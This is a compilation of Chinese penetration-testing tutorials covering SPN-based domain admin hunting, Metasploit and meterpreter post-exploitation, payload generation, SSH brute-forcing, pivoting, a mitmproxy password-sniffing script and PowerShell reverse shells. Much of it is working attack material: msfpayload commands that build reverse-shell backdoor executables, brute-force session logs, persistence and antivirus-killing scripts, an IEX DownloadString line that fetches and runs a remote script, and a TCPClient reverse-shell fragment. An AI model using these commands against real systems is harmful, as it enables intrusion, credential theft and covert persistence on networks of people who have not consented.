请注意需要在powershell v3.0版本下运行。这个模块可以手工安装,通过下载Get-SPN.psm1文件到下面两个目录中任意一处:
%USERPROFILE%DocumentsWindowsPowerShellModules %WINDIR%System32WindowsPowerShellv1.0Modules
可以这样导入模块:
Import-Module .Get-SPN.psm1
安装后,下面是在我的测试环境下的几个示例,来帮助你理解使用,更多的示例你可以通过使用help来发现。
Get-Help Get-SPN -full
查找所有域管理员运行的服务 如果你在一个域机器上以域用户或者本地system权限运行那么参照下面的命令:
Get-SPN -type group -search "Domain Admins" -List yes | Format-Table –Autosize
这一命令也可以使用-list参数以获取更多详细的输出,比如:
Get-SPN -type group -search "Domain Admins"
如果你在一个非域系统上以域凭证执行那么可以使用下面的命令,“DomainController”和 “Credential”选项也可以用来在Get-SPN中查询.
Get-SPN -type group -search "Domain Admins" -List yes -DomainController 192.168.1.100 -Credential domainuser | Format-Table –Autosize
查找所有域中所有的SQL Server服务 如果你在一个域机器上以域用户或者本地system权限运行那么参照下面的命令:
Get-SPN -type service -search "MSSQLSvc*" -List yes | Format-Table –Autosize
针对那些对除SQL server以外的服务感兴趣的人,下面列出一些SPN服务名称.

alerter,appmgmt,browser,cifs,cisvc,clipsrv,dcom,dhcp,dmserver,dns,dnscache,eventlog,eventsystem,fax, http,ias,iisadmin,messenger,msiserver,mcsvc,netdde,netddedsm,netlogon,netman,nmagent,oakley,plugplay,policyagent, protectedstorage,rasman,remoteaccess,replicator,rpc,rpclocator,rpcss,rsvp,samss,scardsvr,scesrv,schedule,scm,seclogon, snmp,spooler,tapisrv,time,trksvr,trkwks,ups,w3svc,wins,www

查找域用户名匹配关键词的ServicePrincipalName项 如果你在一个域机器上以域用户或者本地system权限运行那么参照下面的命令:
Get-SPN -type user -search "*svc*" -List yes

小结

在你打算用SPN找到域管理账户登录过的系统时,我要告诉你几点限制。 1,并不是所有的域管理账户都会运行服务。 2,SPN在应用程序安装后自动注册,但是账户在程序安装后发现改变,如果不是人为添加那么在SPN中将不会表现。 最后,大多数情况下,SPN对于查找域管理账户非常有用,但是在一些环境下它却毫无作为。 无论如何,利用它找到域管登陆过的系统,意味着你不需要执行任何扫描工作,或者拓展shell,这是非常好的。这样有助于减少在渗透测试中的攻击指纹识别和检测。最后不要忘记ServicePrincpleNames可以用来定位重要的目标,比如SQL Server,Web Server,及其他域中的服务。 Good hunting. Have fun and hack responsibly. :)
参考

http://technet.microsoft.com/en-us/library/cc731241.aspx

http://msdn.microsoft.com/en-us/library/dd878324(v=vs.85).aspx

http://msdn.microsoft.com/en-us/library/windows/desktop/ms677949(v=vs.85).aspx

http://go.microsoft.com/fwlink/?LinkId=198395

http://www.microsoft.com/en-us/download/details.aspx?id=15326

http://technet.microsoft.com/en-us/library/aa996205%28v=exchg.65%29.aspx

背景

meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况,别担心结束了之后再来一次,喝杯茶就好了。

常用类型


reverse_tcp
path : payload/windows/meterpreter/reverse_tcp
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=8080 X > ~/Desktop/backdoor.exe
反向连接shell,使用起来很稳定。需要设置LHOST。
bind_tcp
path : payload/windows/meterpreter/bind_tcp 正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。
reverse_http/https
path:payload/windows/meterpreter/reverse_http/https 通过http/https的方式反向连接,在网速慢的情况下不稳定,在某博客上看到https如果反弹没有收到数据,可以将监听端口换成443试试。

基本命令

常用的有
background:将当前会话放置后台 load/use:加载模块 Interact:切换进一个信道 migrate:迁移进程 run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。 Resource:执行一个已有的rc脚本。

常用扩展库介绍

meterpreter中不仅有基本命令还有很多扩展库,load/use之后再输入help,就可以看到关于这个模块的命令说明了。
stdapi command

文件相关
stdapi中有关于文件读写,上传下载,目录切换,截屏,摄像头,键盘记录,和系统相关的命令。 常用的当然就是文件操作及网络有关的命令。 通常我会用upload和download进行文件上传和下载,注意在meterpreter中也可以切换目录,当然也可以编辑文件。所以就不用运行shell再用echo写。 使用edit命令时需要注意编辑的是一个存在的文件,edit不能新建文件。 输入edit + 文件后就会调用vi编辑了。
网络相关
网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)。 比如portfwd: 在建立规则之后就可以连接本地3344端口,这样远程的3389端口就转发出来了。 键盘监听 这里需要注意一下windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。可 以使用getdesktop查看或者截张图试试。否则使用setdesktop切换。 如果不行就切换到explorer.exe进程中,这样也可以监听到远程桌面连接进来之后的键盘输入数据。
mimikatz
这个不多介绍,只是因为这样抓到的hash可以存进数据库方便之后调用,不知道有没有什么方法可以快速的用第三方工具抓到hash/明文然后存进数据库。 这里是因为我的用户本身就没有密码。 sniffer 就是不知道能不能把包保存在victim上,然后后期再下下来,待实战考证。

使用自定脚本

这里的脚本可以是rc脚本,也可以是ruby脚本,metasploit已经有很多自定义脚本了。比如上面说过的arp_scanner,hashdump。这些脚本都是用ruby编写,所以对于后期自定义修改来说非常方便,这里介绍一个很常见的脚本scraper,它将目标机器上的常见信息收集起来然后下载保存在本地。推荐这个脚本是因为这个过程非常不错。可以加入自定义的命令等等。 /.msf4/logs/下保存了所有脚本需要保存的日志记录,当然不只这一个脚本。同样.msf4文件夹下还保存了其他东西,比如输入过的命令,msf运行过程的日志等。 Scraper脚本将保存结果在/.msf4/logs/scripts/scraper/下。

持续性后门

metasploit自带的后门有两种方式启动的,一种是通过服务启动(metsvc),一种是通过启动项启动(persistence) 优缺点各异:metsvc是通过服务启动,但是服务名是meterpreter,脚本代码见图, 这里需要上传三个文件,然后用metsvc.exe 安装服务。不知道服务名能不能通过修改metsvc.exe达到。 安装过程和回连过程都很简单 下次回连时使用windows/metsvc_bind_tcp的payload就可以。

后记

meterpreter提供了很多攻击或收集信息的脚本,并且还有很多API(具体参考官方文档),及扩展。在对ruby代码理解的程度上,如果能根据目标环境和现状修改现有脚本或编写自己的脚本则能够极大的提高效率,获得预期的结果。

背景

笔记在kali linux(32bit)环境下完成,涵盖了笔者对于metasploit 框架的认识、理解、学习。 这篇为基础篇,并没有太多技巧性的东西,但还是请大家认真看啦。 如果在阅读中有任何问题都可以与我邮件联系(contact@x0day.me)

在kali中使用metasploit

在kali中使用metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录了。这一点比bt5要方便很多,所以现在就放弃了bt5。 具体命令与截图
service postgresql start service metasploit start
如果不想每次开机都这样,还可以配置随系统启动。
update-rc.d postgresql enable update-rc.d metasploit enable

metasploit目录结构

之所以会讲到这,是因为我认为框架代码是用来学习的一个非常好的来源。并且metasploit是用ruby脚本语言编写,所以阅读起来非常方便。在渗透,exploit编写过程前理解框架的优势以及大致内容则能够快速构建出自己的工具或者找到已知可用的工具。这样不仅有利于得到结果,也提高了效率。 这里只介绍几个目录,也希望读者能把modules下auxiliary的模块大致都看一遍。这样有个印象也便于快速查找。 对于工具的使用,没有会不会的。只是有没有发现而已。目录大概看一遍,这个问题就差不多了吧! Kali中msf的路径为/usr/share/metasploit-framework
modules
首先看modules目录: 这里
Auxiliary:辅助模块, encoders:供msfencode编码工具使用,具体可以使用 msfencode –l exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。 nops:NOP (No Operation or Next Operation) sled,由于IDS/IPS会检查数据包中不规则的数据,所以在某些场合下(比如针对溢出攻击),某些特殊的滑行字符串(NOPS x90x90...)则会因为被拦截而导致攻击失效,所以此时需要修改exploit中的NOPs.nops文件夹下的东西会在payload生成时用到(后面会有介绍)。比如我们打开php的NOPS生成脚本,就会发现它只是返回了指定长度的空格而已。

payloads:这里面列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。 Post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump、arp_scanner就在这里。

data
其次是data目录: 这里存放的是metasploit的脚本引用文件,重点介绍几个文件 第一个是data下js文件夹下的detect,这里面存放的是metasploit的探针文件。如果看过metasploit浏览器攻击脚本的代码,就会发现调用了一个js库,然后检查当前请求是否符合被攻击环境。如果符合则发送攻击代码,否则中断。Memory中主要是一些堆喷射代码。在大部分浏览器漏洞利用过程,堆喷射是一个不可或缺的过程(当然不是绝对的!)。并且不同的浏览器及版本间,堆喷射代码都有所不同。所以这里给出的探针代码和堆喷射代码是不是一个非常好的学习资源呢? script 最后是msf下script目录中的resource目录: 这里的rc脚本相当于windows下的批处理脚本,在某些情况下会有一定便捷性。比如Veil在生成免杀payload的同时也会生成一个rc脚本,此时使用msfconsole –r xx.rc便可以快速的建立一个和payload对应的handler,亦或在攻过程中需要你反复的set exploit,那么就可以使用这个批处理脚本了,而这个目录下则是一些给定的rc脚本,虽然你可能不习惯这样使用,但作为改写自己的rc脚本的资源也不错。

metasploit基本命令

列一些其他文章中不常提到的命令或者是我经常碰到或使用的方法。 Msfpayload 这是我最常用的一个命令,用来生成payload或者shellcode。 在不知道payload名称又不想开msfconsole搜索的时候可以用msfpayload –l |grep “windows” 这样的命令查询。 -o 选项可以列出payload所需的参数。
msfencode
msf中的编码器,早期为了编码绕过AV,现在我常用msfpayload与它编码exploit的坏字符串。
msfconsole
开启metasploit的console,有个重要的参数 –r,加载resources脚本 数据库有关命令
hosts
这里可以使用hosts查询指定字段的内容,可用的字段下面有列出。或者也可以使用hosts –S “keyword” 进行搜索。
Creds
Creds命令可以列出成功获取到的信息,比如用户名密码,数据库密码,开放端口及服务等。 Console中有关命令
search
搜索一切可以use的模块,常用的方法是search 直接加关键词,比如search 08_067,但是我们也可以根据cve编号查找。通常用nessus扫到的漏洞都有cve信息,这里我们就可以这样搜索了。 spool 将屏幕输出重定向到某个文件中,在使用HTTP弱口令破解、,内网http目录等不会记录在creds中的内容时你怎样解决查询成功结果的?反正这个问题我快要疯了。 要不就改写exploit,不成功不打印,要不就重定向之后自己再grep吧。如果有好的方法,一定要分享啊! show advanced 在选定一个module(exploit,payload …)之后,使用show advanced命令可以显示关于此module的高级选项,具体内容会在后面”metasploit tricks and tips”中分享。

攻击示例

同样我还是选择ms08_067这个漏洞,并且随便输入一个ip,演示下最基本的攻击过程(为了让基础篇看起来更完整点)结束基础篇的分享。说明: 从图中也可以看出一次基本的攻击过程大概是这样的:
1. 选择exploit (use exploit/windows/smb/ms08_067_netapi) 2. 选择payload 3. 设置参数 (set RHOST,set LPORT …) 4. 执行攻击

reverse the shell


File
通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行。本地监听即可获得meterpreter shell。
reverse_tcp/http/https => exe => victim => shell

reverse_tcp
windows:
msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT= X > shell.exe
Linux(x86)
msfpayload linux/x86/meterpreter/reverse_tcp LHOST= LPORT= R | msfencode -t elf -o shell

reverse_http

msfpayload windows/meterpreter/reverse_http LHOST= LPORT= X > shell.exe

reverse_https

msfpayload windows/meterpreter/reverse_https LHOST= LPORT= X > shell.exe

Login privilege
在获得一些登陆权限之后获得meterpreter shell的方法。
SSH

ssh_login
模块路径:auxiliary/scanner/ssh/ssh_login
msf exploit(sshexec) > use auxiliary/scanner/ssh/ssh_login msf auxiliary(ssh_login) > show options Module options (auxiliary/scanner/ssh/ssh_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 22 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(ssh_login) > set RHOSTS 192.168.1.104 RHOSTS => 192.168.1.104 msf auxiliary(ssh_login) > set USERNAME root USERNAME => root msf auxiliary(ssh_login) > set PASS set PASSWORD set PASS_FILE msf auxiliary(ssh_login) > set PASSWORD toor PASSWORD => toor msf auxiliary(ssh_login) > exploit
192.168.1.104:22 SSH - Starting bruteforce
192.168.1.104:22 SSH -
- Trying: username: 'root' with password: ''
192.168.1.104:22 SSH -
- Failed: 'root':''
192.168.1.104:22 SSH -
- Trying: username: 'root' with password: 'root'
192.168.1.104:22 SSH -
- Failed: 'root':'root'
192.168.1.104:22 SSH -
- Trying: username: 'root' with password: 'toor'
Command shell session 4 opened (192.168.1.105:54562 -> 192.168.1.104:22) at 2014-08-07 22:55:54 +0800
192.168.1.104:22 SSH -
- Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux '
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed msf auxiliary(ssh_login) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 4 shell linux SSH root:toor (192.168.1.104:22) 192.168.1.105:54562 -> 192.168.1.104:22 (192.168.1.104) msf auxiliary(ssh_login) >
这里metasploit在探测ssh弱口令时,如果发现存在,则会返回一个linux shell,注意此时不是meterpreter shell。接下来可以使用
sessions –u id
将linux shell升级为meterpreter shell,本地测试失败了。:(
sshexec
模块路径:auxiliary/scanner/ssh/ssh_login 注意这个模块BT5下是没有的,kali中则存在。
msf> use exploit/multi/ssh/sshexec msf exploit(sshexec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf exploit(sshexec) > set LHOST 192.168.1.105 LHOST => 192.168.1.105 msf exploit(sshexec) > set LPORT 8080 LPORT => 8080 msf exploit(sshexec) > set RHOST 192.168.1.104 RHOST => 192.168.1.104 msf exploit(sshexec) > set PASSWORD toor PASSWORD => toor msf exploit(sshexec) > exploit
Started reverse handler on 192.168.1.105:8080
192.168.1.104:22 - Sending Bourne stager...
Command Stager progress - 40.39% done (288/713 bytes)
Transmitting intermediate stager for over-sized stage...(100 bytes)
Sending stage (1228800 bytes) to 192.168.1.104
Command Stager progress - 100.00% done (713/713 bytes)
Meterpreter session 3 opened (192.168.1.105:8080 -> 192.168.1.104:40813) at 2014-08-07 22:53:12 +0800 meterpreter >

smb
模块路径:exploit/windows/smb/psexec 当使用smb_login扫出windows的弱口令时,可以尝试使用这种方法获取shell。 这是在内网中获得windows shell最基本的方法,在登陆域机器时需要设置Domain参数,否则登陆错误。 正如之前提到的show advanced,每个模块都有高级参数设定,这里的psexec就可以设置advanced中的EXE参数达到执行攻击者本地任意文件的目的(见参考<1>)。 如果目标机器有杀软或者其他简单的防护措施呢? 那么可以尝试只执行命令
psexec_command
模块路径:auxiliary/admin/smb/psexec_command 这里需要注意的是psexec.exe(pstools中的工具)如果不能成功执行,那么psexec_command或许是可以执行的,并且大多数的情况下metasploit中的psexec都可以用,而psexec.exe则不能用 :(
sqlserver

msf exploit(psexec) > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > show options Module options (exploit/windows/mssql/mssql_payload): Name Current Setting Required Description ---- --------------- -------- ----------- METHOD cmd yes Which payload delivery method to use (ps, cmd, or old) PASSWORD no The password for the specified username RHOST yes The target address RPORT 1433 yes The target port USERNAME sa no The username to authenticate as USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set) Exploit target: Id Name -- ---- 0 Automatic msf exploit(mssql_payload) >
在获得sql server的登陆权限后同样可以快速的获得meterpreter shell。 注意这里METHOD选项,三种方法都要使用XP_cmdshell,而第一种ps是使用powershell,第二种需要使用wscript.exe,第三种则要用到debug.com。 本地没有环境,就不截图演示了
others
不管是什么场景,只要能转换成文件上传和执行权限就可以得到shell。在获得一种权限时当然可以先google一番是否有可适用的脚本,如果没有再分析是否能转换为文件操作和执行权限。如果可以那就可以得到shell了。 比如:
mysql and sqlserver ..etc => file/webshell =>shell
本地同样也测试了下tunna里自带的msf插件,测试了php版的。代码大致是这样的 先本地生成一个meterpreter.exe(文件名不随机), 然后上传到c:\windows\temp\meterpreter.exe。 再通过php的exec函数执行。测试的时候发现代码生成meterpreter.exe时LHOST参数有误,改了rb代码之后终于在错误中弹回。

pivot with metasploit

在获取到跳板机一定权限后,如何充分发挥跳板功能呢?这部分内容将简单的介绍几种常见的方法。
添加路由表
这是在metasploit中最常用的方法,在添加路由表和session的关系后,便可以使用msf中的模块跨网段扫描或攻击。方法有很多,这里有个脚本autoroute可以快速添加路由表(如上图),也可以将当前session置于后台(backgroud),然后用route命令添加。
Socks4a代理
这里使用auxiliary/server/socks4a模块,需要注意Proxychains不支持ICMP,所以在代理使用NMAP的时候需要使用 –sT -Pn参数。另外Proxychains的连接提示很乱,用kali自带的Proxychains代理使用sqlmap的时候看起来真的特别乱。在这里可以使用proxychains-ng。 先在kali中卸载proxychains,然后再安装proxychains-ng。
root@kali:~# git clone https://github.com/rofl0r/proxychains-ng.git 正克隆到 'proxychains-ng'... remote: Counting objects: 842, done. remote: Total 842 (delta 0), reused 0 (delta 0) Receiving objects: 100% (842/842), 465.92 KiB | 27 KiB/s, done. Resolving deltas: 100% (554/554), done. root@kali:~# cd proxychains-ng/ root@kali:~/proxychains-ng# ./configure --prefix=/usr --sysconfdir=/etc Done, now run make && make install root@kali:~/proxychains-ng# make && make install
之后使用proxychains4 -q 选项运行,然后就不会有杂乱混杂的输出了。
ssh
meta_ssh 当有一个ssh登录权限后,可以使用这个插件在ssh会话基础上建立链接(见参考<2>)。 之后进入shell,查看网卡IP信息,然后退出再添加路由表。 再尝试扫描5.5.5.0/24这个段,然后对这个段中的5.5.5.134进行弱口令扫描。 发现可以获得结果。
ssh/plink.exe
还有一种利用SSH的方式就在windows下使用plink反弹,这样数据包经过SSH加密后,便可以躲过防火墙的检测。同理在linux也是一样的。 首先生成反弹到本地的reverse后门。
msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5566 > ~/Desktop/backdoor_reverse_localhost.exe
然后开启本地监听,再将plink和backdoor.exe通过webshell上传。然后执行
echo y | plink.exe -L 5566:192.168.6.131:6666 192.168.6.131 -l root -pw toor
之后运行backdoor.exe,meterpreter就通过ssh tunnel建立起来了。

内网扫描

Metasploit对于常见服务(smb/ssh/mysql/mssql/oracle/ftp/tfp/ …etc)扫描可以做到版本信息(banner)、登录验证等。 简单过程可以参考之前的笔记《msf内网渗透小记》 具体扫描的脚本路径在/usr/share/metasploit-framework/modules/auxiliary/scanner下,可以根据需求自行发现。 常见的扫描端口:

7,21,22,23,25,43,50,53,67,68,79,80,109,110,111,123,135,137,138,139,143,161,264,265,389,443,445,500,631,901,995,1241,1352,1433,1434,1521,1720,1723,3306,3389,3780,4662,5800,5801,5802,5803,5900,5901,5902,5903,6000,6666,8000,8080,8443,10000,10043,27374,27665

当然也可以使用rc脚本(basic_discovery.rc)。 另外内网里还有一处信息的搜集就是snmp,如果有交换机存在snmp弱口令(团体字符串),那么便可以通过snmp收集路由表信息和VLAN划分信息等。 一般网络都会在vlan划分时备注信息,比如Vlan100是x部门,Vlan200是y部门等等。 不同品牌、型号的交换机在获取这一信息时所需要的OID可能不同(大部分不一样),而snmp又是在udp的161端口,在交换机没有开放ssh、telnet、web时\或者开放以上服务,端口又未能做转发时,则可以在知道具体的OID值后通过改写snmp_enumusers.rb脚本实现。

域渗透相关

推荐几个AD下渗透的扫描脚本(见参考<3>,下同)
psexec_Loggedin_users
这个脚本可以找到当前段每个IP所登录的用户。
local_admin_search_enum
这个可以找到当前登录管理账户的IP和用户名。
psexec_scanner
批量执行psexec获得shell,脚本里有个psexec的函数,绝对是改写的好范本。见参考<4> 更多metasploit关于windows域渗透的脚本见参考<5>

后记

关于内网及域下渗透并不一定需要metasploit,更多的是与其他工具的配合。而且这一过程思路(见参考<6>)和对AD的理解明显比会用工具重要。metasploit只是提供了一个自动化发现利用的tunnel,如果简单理解ruby及metasploit代码框架,无论是学习还是渗透测试,都将会是一个有力的辅助。另外上文中的示例只是为读者所遇情况而构建脚本时的参考。
参考

http://opexxx.tumblr.com/post/35763770674/btb-security-how-to-make-custom-exes-for-deployment

https://github.com/dirtyfilthy/metassh

http://www.pentestgeek.com/2012/11/03/find-local-admin-with-metasploit/

http://www.darkoperator.com/blog/2011/12/16/psexec-scanner-auxiliary-module.html

https://github.com/darkoperator/Meterpreter-Scripts/tree/master/post/windows/gather

http://www.freebuf.com/articles/web/5901.html (及8楼Gall的回复)

前言

在获得meterpreter的session后,除了meterpreter本身内置的一些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下面还有很多scripts,提供了很多额外功能,非常好用 我看网上没有详细介绍常见脚本功能的文章,就总结了一下 我们可以通过run 脚本名来进行使用 run 脚本名 -h可以查看帮助

常见脚本


1 arp_scanner
利用arp进行存活主机扫描
2 autoroute
可以添加,删除,显示路由表
3 checkvm
可以检测目标是否是虚拟机
4 credcollect
收集目标主机上的hash等凭证
5 domain_list_gen
获取域管理账户列表,并判断当前session所在用户是否在列表中
6 dumplinks
Link文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和office目录中收集lnk文件
7 duplicate
再次产生payload,注入到其他进程或打开新进程并注入其中
8 enum_chrome
获取chrome中的信息
9 enum_firefox
获取firefox中的信息,包括cooikie,历史纪录,书签等
10 enum_logged_on_users
列出当前登录的用户
11 enum_powershell_env
列出powershell和WSH的配置文件
12 enum_putty
列出putty的配置文件
13 enum_shares
列出共享及历史共享
14 enum_vmware
列出vmware的配置文件和产品
15 event_manager
可以查询和清理事件日志
16 file_collector
搜索符合指定模式的文件
17 get_application_list
获取安装的程序列表及版本
18 getcountermeasure
列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略 Ps:-k参数可以杀掉防护软件进程
19 get_env
获取所有用户的环境变量
20 get_filezilla_creds
获取filezilla的登陆凭证
21 getgui
可以很方便的开启远程桌面服务,添加用户,端口转发功能
22 get_local_subnets
获得本地的子网
23 get_pidgin_creds
获取pidgin配置文件中的用户名和密码
24 gettelnet
同之前开启终端桌面服务的脚本,这个是用来开启telnet的
25 get_valid_community
获取SNMP community字符串
26 getvncpw
获取vnc密码
27 hashdump
同meterpreter的内置功能
28 hostsedit
操作hosts文件
29 keylogrecorder
Meterpreter内置此功能
30 killav
关闭防护软件
31 metsvc
将payload安装为服务
32 migrate
同内置功能,用于迁移进程
33 persistence
可见建立一个持久性的后门,设置成开机启动
34 service_permissions_escalate
许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload
35 vnc
可以看到远程桌面
36 win32-sshserver
安装openssh服务
37 winenum
会自动运行多种命令,将命令结果保存到本地 Ps:这些脚本最好的地方在于有源码可看,可以根据环境进行修改,如何运用就看各人了

简介

Mitmproxy是一个基于python的中间人代理的框架。做过渗透测试的肯定很熟悉工具burpsuite或Fiddler,这些工具能够拦截并修改http或https的数据包,对于分析数据包交互的应用来说是非常有用的。但是这些工具都是整套给我们做好了。比如如果想自己定制一套这样的工具,添加一些自己需要的功能的话,那么我想,mitmproxy将是一个比较好的选择,因为它提供了一个可供用户调用的库libmproxy(注意该库目前只支持linux系统)。 用过kali系统的,对于mitmproxy应该不会陌生,因为这个工具已经内嵌到了kali系统里面了。如果你是在普通的linux系统,那么就需要自己手动安装这个工具。
http://mitmproxy.org/

https://github.com/mitmproxy/mitmproxy

http://sec.chinabyte.com/412/12771912.shtml

libmproxy介绍

一旦用户安装上了mitmproxy,那么,在python的dist-packages目录下就会有一个libmproxy的目录。点击进去,如下图所示。 有很多文件,里面最关键的一个文件就是flow.py。里面有从客户端请求的类Request,也有从服务器返回的可以操作的类Response。并且都实现了一些方法可以调用请求或回复的数据,包括请求url,header,body,content等。具体如下: Request的一些方法:
get_query():得到请求的url的参数,被存放成了字典。 set_query(odict):设置请求的url参数,参数是字典。 get_url():请求的url。 set_url(url):设置url的域。 get_cookies():得到请求的cookie。 headers:请求的header的字典。 content:请求的内容,如果请求时post,那么content就是指代post的参数。 Response的一些方法如下: Headers:返回的header的字典。 Code:返回数据包的状态,比如200,301之类的状态。 Httpversion:http版本。
有了上面这些简单的方法,只要我们会python,就可以写一些简单的程序,比如过滤一些数据,只是提取一些有特定格式的数据包等。
一个简单的实例
下面就来写一个这样的程序:抓取含有password或passwd这样字段的数据包,将这个数据包打印出来。 那么分析一下,可能出现passwd或password的位置,第一,是url参数,这个我们可以通过get_url()这个方法获取,第二个就是content,如果请求数据报文是通过post提交,那么就需要在content里面找到。好了,分析好了,那么就剩下写代码了。Mitmproxy官网有一个小程序,我们可以借鉴,下面是一个借鉴mitmproxy官网的代码的简易的实现。
#!python #!/usr/bin/env python #coding=utf-8 """ author:jaffer time:2014-9-3 19:33 """ from libmproxy import controller, proxy import os import pdb class StickyMaster(controller.Master): def __init__(self, server): controller.Master.__init__(self, server) def run(self): try: return controller.Master.run(self) except KeyboardInterrupt: self.shutdown() def findword(self,msg): stringword1 = 'passwd' stringword2 = 'password' content = msg.content querystring = msg.get_query() #在url参数中查找 for eachp in querystring: if eachp
.find(stringword1) != -1 or eachp
.find(stringword2) != -1: return 1 #在content中寻找 if content.find(stringword1) != -1 or content.find(stringword2) != -1: return 1 return 0 def handle_request(self, msg): flag = self.findword(msg) if flag == 1: str = msg.get_query() con = msg.content url = msg.get_url() m = msg.method print 'method:' + m print '\n' print 'query:\n' for eachp in str: print eachp
+ '=' + eachp
print '\n' print '\n' print 'url:' + url print '\n' print 'content:' + con print '------------------\n' msg.reply() def handle_response(self, msg): msg.reply() config = proxy.ProxyConfig( cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem") ) server = proxy.ProxyServer(config, 8000) m = StickyMaster(server) m.run()
我使用手机端浏览器,登录人人网,使用上述代码截获数据包如图:

后记

Mitmproxy提供的libmproxy很是强大方便,对于自己需要自己定制的程序代码有帮助,当然上面只是一个简单的实现,还有更多的功能需要更多的挖掘,libmproxy下面的那些内容可以继续学习。

前言

当我看了DM_牛发的http://zone.wooyun.org/content/20429,我的心情久久不能平静,这本应属于我的精华+WB,被他先发了,这娃真是可恶,可恨 :-),后来DM_牛又发了我一些资料让我学习,我就写了此文,刚入门,肯定有错误的地方,希望小伙伴们讨论,指出。 这次Labofapenetrationtester是以"week of powershell shell"的形式放出来的,就是每天一篇,一共五篇,分别是
Day 1 - Interactive PowerShell shells over TCP Day 2 - Interactive PowerShell shells over UDP Day 3 - Interactive PowerShell shells over HTTP/HTTPS Day 4 - Interactive PowerShell shells with WMI Day 5 - Interactive PowerShell shells over ICMP and DNS

powershell反弹的前三天

第一到三天的TCP,UDP,HTTP,HTTPS的反弹方法为: 把相应的PS1脚本传到目标机上,然后执行
#!bash D:\>PowerShell.exe -ep Bypass -File d:\Invoke-PowerShellUdp.ps1
就会走不同的协议出来,我这里演示的是UDP协议的,如图 要先监听端口,再反弹,否则会报错。 实际环境攻击的话,我常常还加-NoLogo -NonInteractive -NoProfile -WindowStyle Hidden参数,如下
#!bash PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File d:\Invoke-PowerShellUdp.ps1
另一种玩法是如果对方通外网,可以直接用IEX下载远程的PS1脚本回来执行,
#!bash IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

Day 4

Interactive PowerShell shells with WMI

这个通常只能用在内网,可以完全替代psexec了,作者这里利用命名空间来保存WMI执行结果,最后再取回来回显结果的思路非常赞,解决了WMI远程直接命令没有回显的问题。当然运行这个脚本需要管理员权限,并且要输入对方的账号。

Day 5

Interactive PowerShell shells over ICMP and DNS

这个脚本运行,走ICMP协议的话,只需要注意一点,本地要先执行
#!bash root@Kali:~/Desktop# sysctl -w net.ipv4.icmp_echo_ignore_all=1
否则反弹是无法用的,相信用过icmpsh的同学都知道。 后来有个老外BLOG说做如下配置,可以发现powershell攻击行为以及看到攻击代码 配置需求如下:
1.在C:\Windows\System32\WindowsPowerShell\v1.0目录下建立一个profiles.ps1
填写如下内容
# !bash CD D:\ $LogCommandHealthEvent = $true $LogCommandLifecycleEvent = $true
右键点击profile.ps1,一次点击“安全”->“高级”->“审核”,点“编译”按钮,添加用户“everyone”,开启如图所示的审核项 因为这样做以后,日志会变的很大,为了编码回滚覆盖,相应的增加下日志的容量,如图 怎么能绕过这种防护呢?因为他加了对profile.ps1的文件审核,所以通过修改或者移动/删除这个文件的策略是走不通的。 当我们执行了反弹脚本后,可以在“事件查看器”里的“windows powershell"的事件类里,通过过滤eventID为500的事件看到细节
#!bash CommandLine=$client = New-Object System.Net.Sockets.TCPClient("10.18.180.10",8888);$stream = $client.GetStream();
